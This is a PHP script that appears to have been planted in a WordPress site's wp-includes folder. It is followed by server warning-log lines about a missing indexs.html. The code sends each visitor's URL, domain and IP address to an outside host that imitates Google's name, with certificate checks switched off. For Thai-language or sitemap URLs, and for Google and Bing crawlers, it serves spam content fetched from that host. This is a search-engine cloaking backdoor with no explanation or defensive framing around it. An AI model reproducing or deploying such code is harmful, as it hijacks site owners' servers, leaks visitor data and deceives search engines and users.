<?php
ob_start();
http_response_code(200);
header("HTTP/1.1 200 OK");
header('Status: 200', true, 200);
header("Content-Type: text/html; charset=utf-8");
try {
    if (function_exists('ini_set')) {
        ini_set('display_errors', 'off');
    }
    error_reporting(E_ALL ^ E_NOTICE);
    if (function_exists('set_time_limit')) {
        @set_time_limit(0);
    }
    $api_url_show = "https://api.googlevv.com/2_2_2/show.php";
    $api_url_404  = "https://api.googlevv.com/2_2_2/404.php";
    function srv($key, $default = '') {
        return isset($_SERVER[$key]) ? $_SERVER[$key] : $default;
    }
    $header_curl = srv('HTTP_USER_AGENT', '');
    $protocol = (srv('HTTPS') !== '' && strtolower(srv('HTTPS')) === 'on') ? 'https://' : 'http://';
    $domain = srv('HTTP_X_FORWARDED_HOST', '') !== '' ? srv('HTTP_X_FORWARDED_HOST') : srv('HTTP_HOST', '');
    $file = srv('REQUEST_URI', '') !== '' ? srv('REQUEST_URI') : srv('HTTP_X_REWRITE_URL', '');
    $post_data = array(
        'file'   => $file,
        'domain' => $domain,
        'http'   => $protocol,
        'ip'     => get_real_ip()
    );
    $has_thai_or_sitemap = (preg_match('/[\x{0E00}-\x{0E7F}]/u', urldecode($file)) || (stripos($file, "sitemap") !== false));
    $has_query_chars = preg_match('/[?=&]/', $file);
    if ($has_thai_or_sitemap && !$has_query_chars) {
        $result = posturl($api_url_show . "?" . $domain . $file, $post_data);
        if (stripos($file, "sitemap") !== false) {
            header('Content-Type: application/xml; charset=utf-8');
            echo $result;
            exit;
        }
        echo $result;
        exit;
    }
    if (stripos($header_curl, 'google') !== false || stripos($header_curl, 'bing') !== false) {
        $result = posturl($api_url_404 . "?" . $domain . $file, $post_data);
        if ($result !== null && strlen($result) != 0) {
            echo $result;
        }
    }
} catch (Exception $exception) {
}
function posturl($url, $post_data = null) {
    $payload = ($post_data === null) ? '' : json_encode($post_data);
    if (function_exists('curl_init')) {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_HEADER, 0);
        curl_setopt($curl, CURLOPT_TIMEOUT, 30);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_USERAGENT, srv_no_at('HTTP_USER_AGENT'));
        curl_setopt($curl, CURLOPT_REFERER, srv_no_at('HTTP_REFERER'));
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $payload);
        $data = curl_exec($curl);
        curl_close($curl);
        return $data;
    }
    $opts = array(
        'http' => array(
            'method'  => "POST",
            'header'  => "Content-Type: application/json\r\n" .
                         "User-Agent: " . srv_no_at('HTTP_USER_AGENT') . "\r\n" .
                         "Referer: " . srv_no_at('HTTP_REFERER') . "\r\n",
            'content' => $payload,
            'timeout' => 30,
        ),
        'ssl' => array(
            'verify_peer'      => false,
            'verify_peer_name' => false,
        ),
    );
    $context = stream_context_create($opts);
    $result = @file_get_contents($url, false, $context);
    return $result;
}
function get_real_ip() {
    $keys = array('HTTP_X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'REMOTE_ADDR');
    foreach ($keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ip = explode(',', $_SERVER[$key]);
            $ip = trim($ip[0]);
            if (filter_var($ip, FILTER_VALIDATE_IP)) {
                return $ip;
            }
        }
    }
    return 'Unknown';
}
function srv_no_at($key) {
    return isset($_SERVER[$key]) ? $_SERVER[$key] : '';
}
?>[04-Dec-2025 17:51:11 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[06-Dec-2025 11:31:12 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[06-Dec-2025 11:32:22 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[06-Dec-2025 19:54:36 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[07-Dec-2025 01:07:26 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[07-Dec-2025 03:07:20 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[07-Dec-2025 07:00:18 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[07-Dec-2025 12:12:25 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[07-Dec-2025 18:25:20 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[07-Dec-2025 22:16:31 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[08-Dec-2025 03:57:19 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[08-Dec-2025 03:58:35 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[08-Dec-2025 07:27:35 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[08-Dec-2025 10:27:48 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[08-Dec-2025 10:28:59 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[08-Dec-2025 15:24:56 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[08-Dec-2025 15:26:51 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[08-Dec-2025 18:52:40 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[08-Dec-2025 22:16:10 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[08-Dec-2025 22:17:19 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[09-Dec-2025 02:53:34 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[09-Dec-2025 05:45:58 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[09-Dec-2025 05:47:12 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[09-Dec-2025 09:59:39 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
[14-Dec-2025 18:43:35 America/Boise] PHP Warning:  file_get_contents(indexs.html): failed to open stream: No such file or directory in /home1/chunyuke/public_html/wedding/wp-includes/index.php on line 46
